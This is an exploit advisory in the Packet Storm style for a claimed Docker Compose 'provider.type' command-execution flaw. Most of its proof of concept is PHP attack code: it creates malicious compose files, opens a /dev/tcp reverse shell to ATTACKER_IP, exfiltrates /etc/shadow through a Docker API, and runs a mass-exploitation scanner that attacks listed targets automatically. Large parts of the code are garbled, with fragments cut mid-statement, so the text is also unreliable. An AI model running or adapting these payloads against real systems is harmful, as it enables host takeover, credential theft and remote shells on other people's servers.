============================================================================================================================================= | # Title : Docker Compose v 2.40.3 Provider Type PHP Command Execution | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://docs.docker.com/compose/releases/prior-releases/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/212673/ & [+] Summary : Docker Compose Provider Type Command Execution is a critical vulnerability (CVE pending) that allows arbitrary command execution on the host system when processing Docker Compose files containing the provider.type field. This vulnerability exists due to Docker Compose's design to execute any specified provider type as a binary or script on the host without proper validation or isolation. [+] POC : 1. Creating malicious files via PHP Example: A PHP page generates malicious Docker Compose files & /dev/tcp/{$_POST['lhost']}/{$_POST['lport']} 0>&1 &\n"; file_put_contents('/tmp/docker-compose.yml', $composeContent); file_put_contents('/tmp/exploit.sh', $scriptContent); chmod('/tmp/exploit.sh', 0755); echo "Files created!"; } ?> Exploiting platforms that allow uploading Docker Compose files Example: Exploiting a control panel that allows uploading YAML files &1"); echo "
Output: $output
"; } } } ?>
Upload Docker Compose:
Auto-run:
3. Exploiting API endpoints that interact with Docker Example: Injecting commands into an API that manages Docker containers &1"); // تنظيف (قد لا ينفذ إذا فشل الأمر) unlink($tempFile); echo json_encode(['output' => $output]); exit; } // payload للاستغلال $payload = [ 'services' => [ 'malicious' => [ 'provider' => [ 'type' => '/bin/sh' ], 'command' => '-c "echo pwned > /tmp/hacked && cat /etc/shadow | base64 > /tmp/stolen"' ] ] ]; // إرسال الهجوم $ch = curl_init('http://target.com/api/docker/deploy'); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, [ 'compose_config' => json_encode($payload) ]); $response = curl_exec($ch); curl_close($ch); echo "Attack sent!"; ?> 4. CSRF + Docker Compose Exploit Example: Exploiting CSRF in the Docker Administrator Interface 5. Mass Exploitation Scanner A scanner for searching for servers vulnerable to the exploit. targets[] = $url; } public function scan() { foreach ($this->targets as $target) { $this->testVulnerability($target); } } private function testVulnerability($url) { // اختبار 1: رفع ملف مباشر $testCompose = tempnam(sys_get_temp_dir(), 'test_'); $maliciousContent = << new CURLFile($testCompose, 'text/yaml', 'docker-compose.yml') ]); $response = curl_exec($ch); if (strpos($response, 'VULNERABLE') !== false) { $this->log("VULNERABLE: $url"); $this->exploit($url); } unlink($testCompose); } private function exploit($url) { // تنفيذ استغلال كامل $reverseShell = base64_encode('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'); $payload = [ 'compose' => <<addTarget('http://target1.com'); $scanner->addTarget('http://target2.com'); $scanner->scan(); ?> 6. Webhook Exploitation Exploiting webhooks that launch Docker Compose Attack detection PHP detection system: Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================